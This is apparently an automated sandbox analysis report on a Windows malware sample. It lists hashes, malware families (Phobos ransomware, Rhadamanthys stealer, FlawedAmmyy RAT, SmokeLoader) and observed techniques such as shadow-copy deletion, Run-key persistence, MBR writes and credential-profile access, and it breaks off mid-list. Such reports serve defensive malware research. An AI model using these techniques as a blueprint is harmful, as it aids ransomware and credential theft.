Analysis
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max time kernel
151s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
17-09-2023 09:34
Static task
static1
Behavioral task
behavioral1
Sample
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe
Resource
win10v2004-20230915-en
General
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Target
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe
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Size
468KB
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MD5
e6f506f57365deb1b24b84eafbd9271f
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SHA1
d120720527f6d02f2c6e058bc95cc18d8c23f269
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SHA256
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6
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SHA512
3273f5720d13ae0c77eb9e35ef52368f187b4acfe1e40471629c6e51e0f7c442f420bd0cbbe1f5e21918760fdd260cb86b7086eb93d92e28d00b502cd3e066e9
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SSDEEP
12288:zPmdD7nWjmGR5iErreKOOkLsxhDzfrroATRwJJ:7mN7u5iEKOKalroATRwX
Malware Config
Signatures
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Ammyy Admin
Remote admin tool with various capabilities.
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AmmyyAdmin payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\285E.tmp\svchost.exe family_ammyyadmin C:\Users\Admin\AppData\Local\Temp\285E.tmp\svchost.exe family_ammyyadmin -
Detect rhadamanthys stealer shellcode 7 IoCs
Processes:
resource yara_rule behavioral2/memory/4560-14-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-15-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-16-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-17-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-27-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-28-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys behavioral2/memory/4560-30-0x0000000002EE0000-0x00000000032E0000-memory.dmp family_rhadamanthys -
FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
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Phobos
Phobos ransomware appeared at the beginning of 2019.
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Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
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SmokeLoader
Modular backdoor trojan in use since 2014.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exedescription pid process target process PID 4560 created 2624 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe Explorer.EXE -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2592 bcdedit.exe 1640 bcdedit.exe -
Renames multiple (87) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Processes:
wbadmin.exepid process 5080 wbadmin.exe -
Downloads MZ/PE file
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Modifies Windows Firewall 1 TTPs 2 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation svchost.exe -
Drops startup file 1 IoCs
Processes:
ey3%LS.exedescription ioc process File created \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\ey3%LS.exe ey3%LS.exe -
Executes dropped EXE 16 IoCs
Processes:
ey3%LS.exeey3%LS.exeey3%LS.exeey3%LS.exeey3%LS.exeey3%LS.exeey3%LS.exe7CHC298x85.exe8B)V0AjseE.exe7CHC298x85.exeE9CE.exeEB95.exeE9CE.exeE9CE.exeE9CE.exesvchost.exepid process 2764 ey3%LS.exe 3960 ey3%LS.exe 620 ey3%LS.exe 768 ey3%LS.exe 2468 ey3%LS.exe 956 ey3%LS.exe 1164 ey3%LS.exe 4568 7CHC298x85.exe 1600 8B)V0AjseE.exe 4308 7CHC298x85.exe 5100 E9CE.exe 1428 EB95.exe 3724 E9CE.exe 4976 E9CE.exe 3312 E9CE.exe 3672 svchost.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
Processes:
certreq.exeexplorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook certreq.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
ey3%LS.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ey3%LS = "C:\\Users\\Admin\\AppData\\Local\\ey3%LS.exe" ey3%LS.exe Set value (str) \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ey3%LS = "C:\\Users\\Admin\\AppData\\Local\\ey3%LS.exe" ey3%LS.exe -
Drops desktop.ini file(s) 3 IoCs
Processes:
ey3%LS.exedescription ioc process File opened for modification C:\$Recycle.Bin\S-1-5-21-1574508946-349927670-1185736483-1000\desktop.ini ey3%LS.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-1574508946-349927670-1185736483-1000\desktop.ini ey3%LS.exe File opened for modification C:\Program Files\desktop.ini ey3%LS.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
svchost.exedescription ioc process File opened for modification \??\PhysicalDrive0 svchost.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exeey3%LS.exeey3%LS.exe7CHC298x85.exe8B)V0AjseE.exeaspnet_compiler.exeE9CE.exeE9CE.exedescription pid process target process PID 4224 set thread context of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 2764 set thread context of 2468 2764 ey3%LS.exe ey3%LS.exe PID 956 set thread context of 1164 956 ey3%LS.exe ey3%LS.exe PID 4568 set thread context of 4308 4568 7CHC298x85.exe 7CHC298x85.exe PID 1600 set thread context of 624 1600 8B)V0AjseE.exe aspnet_compiler.exe PID 624 set thread context of 4740 624 aspnet_compiler.exe AddInProcess.exe PID 5100 set thread context of 3724 5100 E9CE.exe E9CE.exe PID 4976 set thread context of 3312 4976 E9CE.exe E9CE.exe -
Drops file in Program Files directory 64 IoCs
Processes:
ey3%LS.exedescription ioc process File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\ar.pak ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\sawindbg.dll ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-util-lookup_ja.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\org-openide-util.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_LinkDrop32x32.gif ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\ClientCapabilities.json ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\insert\insertbase.xml ey3%LS.exe File created C:\Program Files\Java\jre1.8.0_66\bin\server\Xusage.txt.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jfxswt.jar ey3%LS.exe File created C:\Program Files\Java\jre1.8.0_66\bin\glib-lite.dll.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jre1.8.0_66\bin\hprof.dll.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_ja.jar ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\bin\ktab.exe.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-attach.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\db\bin\NetworkServerControl.bat.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\fxplugins.dll ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-charts.xml.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Microsoft Office\root\Client\ucrtbase.dll ey3%LS.exe File created C:\Program Files\7-Zip\Lang\pl.txt.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\es-ES\ShapeCollector.exe.mui ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-favorites_zh_CN.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\msvcr120.dll ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar ey3%LS.exe File created C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Yellow.xml.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\7-Zip\Lang\pa-in.txt.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\vk_swiftshader.dll.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\psfont.properties.ja.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_ja_4.4.0.v20140623020002.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_zh_CN.jar ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_zh_CN.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_pl.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\WindowsAccessBridge-64.dll ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_zh_4.4.0.v20140623020002.jar ey3%LS.exe File opened for modification C:\Program Files\Common Files\System\ado\adojavas.inc ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\local_policy.jar ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipshrv.xml ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar ey3%LS.exe File created C:\Program Files\7-Zip\Lang\kab.txt.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-ui.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\org-netbeans-modules-profiler_visualvm.jar ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\epl-v10.html.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\sunec.dll ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\MANIFEST.MF.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\hprof.dll.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.bidi_0.10.0.v20130327-1442.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\locale\jfluid-server_zh_CN.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\resource.dll ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\msvcp120.dll ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\feature.properties.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_zh_4.4.0.v20140623020002.jar ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsptb.xml ey3%LS.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\nio.dll.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe ey3%LS.exe File created C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_MoveNoDrop32x32.gif.id[21095B6C-3483].[[email protected]].8base ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_ja_4.4.0.v20140623020002.jar ey3%LS.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml ey3%LS.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\IpsPlugin.dll ey3%LS.exe -
Checks SCSI registry key(s) 3 TTPs 7 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
7CHC298x85.exevds.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7CHC298x85.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7CHC298x85.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7CHC298x85.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
certreq.exedescription ioc process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 certreq.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString certreq.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 3964 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.execertreq.exeey3%LS.exe7CHC298x85.exeey3%LS.exeExplorer.EXE8B)V0AjseE.exepid process 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe 3548 certreq.exe 3548 certreq.exe 3548 certreq.exe 3548 certreq.exe 2764 ey3%LS.exe 2764 ey3%LS.exe 2764 ey3%LS.exe 2764 ey3%LS.exe 2764 ey3%LS.exe 2764 ey3%LS.exe 4308 7CHC298x85.exe 4308 7CHC298x85.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2468 ey3%LS.exe 2624 Explorer.EXE 2624 Explorer.EXE 1600 8B)V0AjseE.exe 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2468 ey3%LS.exe 2468 ey3%LS.exe 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2468 ey3%LS.exe 2468 ey3%LS.exe 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 2624 Explorer.EXE -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 660 -
Suspicious behavior: MapViewOfSection 33 IoCs
Processes:
7CHC298x85.exeExplorer.EXEexplorer.exepid process 4308 7CHC298x85.exe 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 2624 Explorer.EXE 4840 explorer.exe 4840 explorer.exe -
Suspicious use of AdjustPrivilegeToken 63 IoCs
Processes:
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exeey3%LS.exeey3%LS.exe7CHC298x85.exeey3%LS.exe8B)V0AjseE.exevssvc.exeExplorer.EXEWMIC.exewbengine.exeaspnet_compiler.exeE9CE.exeAddInProcess.exeE9CE.exedescription pid process Token: SeDebugPrivilege 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe Token: SeDebugPrivilege 2764 ey3%LS.exe Token: SeDebugPrivilege 956 ey3%LS.exe Token: SeDebugPrivilege 4568 7CHC298x85.exe Token: SeDebugPrivilege 2468 ey3%LS.exe Token: SeDebugPrivilege 1600 8B)V0AjseE.exe Token: SeBackupPrivilege 4888 vssvc.exe Token: SeRestorePrivilege 4888 vssvc.exe Token: SeAuditPrivilege 4888 vssvc.exe Token: SeShutdownPrivilege 2624 Explorer.EXE Token: SeCreatePagefilePrivilege 2624 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1888 WMIC.exe Token: SeSecurityPrivilege 1888 WMIC.exe Token: SeTakeOwnershipPrivilege 1888 WMIC.exe Token: SeLoadDriverPrivilege 1888 WMIC.exe Token: SeSystemProfilePrivilege 1888 WMIC.exe Token: SeSystemtimePrivilege 1888 WMIC.exe Token: SeProfSingleProcessPrivilege 1888 WMIC.exe Token: SeIncBasePriorityPrivilege 1888 WMIC.exe Token: SeCreatePagefilePrivilege 1888 WMIC.exe Token: SeBackupPrivilege 1888 WMIC.exe Token: SeRestorePrivilege 1888 WMIC.exe Token: SeShutdownPrivilege 1888 WMIC.exe Token: SeDebugPrivilege 1888 WMIC.exe Token: SeSystemEnvironmentPrivilege 1888 WMIC.exe Token: SeRemoteShutdownPrivilege 1888 WMIC.exe Token: SeUndockPrivilege 1888 WMIC.exe Token: SeManageVolumePrivilege 1888 WMIC.exe Token: 33 1888 WMIC.exe Token: 34 1888 WMIC.exe Token: 35 1888 WMIC.exe Token: 36 1888 WMIC.exe Token: SeIncreaseQuotaPrivilege 1888 WMIC.exe Token: SeSecurityPrivilege 1888 WMIC.exe Token: SeTakeOwnershipPrivilege 1888 WMIC.exe Token: SeLoadDriverPrivilege 1888 WMIC.exe Token: SeSystemProfilePrivilege 1888 WMIC.exe Token: SeSystemtimePrivilege 1888 WMIC.exe Token: SeProfSingleProcessPrivilege 1888 WMIC.exe Token: SeIncBasePriorityPrivilege 1888 WMIC.exe Token: SeCreatePagefilePrivilege 1888 WMIC.exe Token: SeBackupPrivilege 1888 WMIC.exe Token: SeRestorePrivilege 1888 WMIC.exe Token: SeShutdownPrivilege 1888 WMIC.exe Token: SeDebugPrivilege 1888 WMIC.exe Token: SeSystemEnvironmentPrivilege 1888 WMIC.exe Token: SeRemoteShutdownPrivilege 1888 WMIC.exe Token: SeUndockPrivilege 1888 WMIC.exe Token: SeManageVolumePrivilege 1888 WMIC.exe Token: 33 1888 WMIC.exe Token: 34 1888 WMIC.exe Token: 35 1888 WMIC.exe Token: 36 1888 WMIC.exe Token: SeBackupPrivilege 2020 wbengine.exe Token: SeRestorePrivilege 2020 wbengine.exe Token: SeSecurityPrivilege 2020 wbengine.exe Token: SeDebugPrivilege 624 aspnet_compiler.exe Token: SeShutdownPrivilege 2624 Explorer.EXE Token: SeCreatePagefilePrivilege 2624 Explorer.EXE Token: SeDebugPrivilege 5100 E9CE.exe Token: SeLockMemoryPrivilege 4740 AddInProcess.exe Token: SeLockMemoryPrivilege 4740 AddInProcess.exe Token: SeDebugPrivilege 4976 E9CE.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
AddInProcess.exesvchost.exepid process 4740 AddInProcess.exe 3672 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 2624 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exeab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exeey3%LS.exeey3%LS.exe7CHC298x85.exeey3%LS.execmd.execmd.exe8B)V0AjseE.exedescription pid process target process PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4224 wrote to memory of 4560 4224 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe PID 4560 wrote to memory of 3548 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe certreq.exe PID 4560 wrote to memory of 3548 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe certreq.exe PID 4560 wrote to memory of 3548 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe certreq.exe PID 4560 wrote to memory of 3548 4560 ab3985e07195465b9a9d8c5a9959e783e2a30f6d6e7fdda3ab153de4d7fc6fe6_JC.exe certreq.exe PID 2764 wrote to memory of 3960 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 3960 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 3960 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 620 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 620 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 620 2764 ey3%LS.exe ey3%LS.exe PID 2764 wrote to memory of 768 2764 ey3%LS.exe 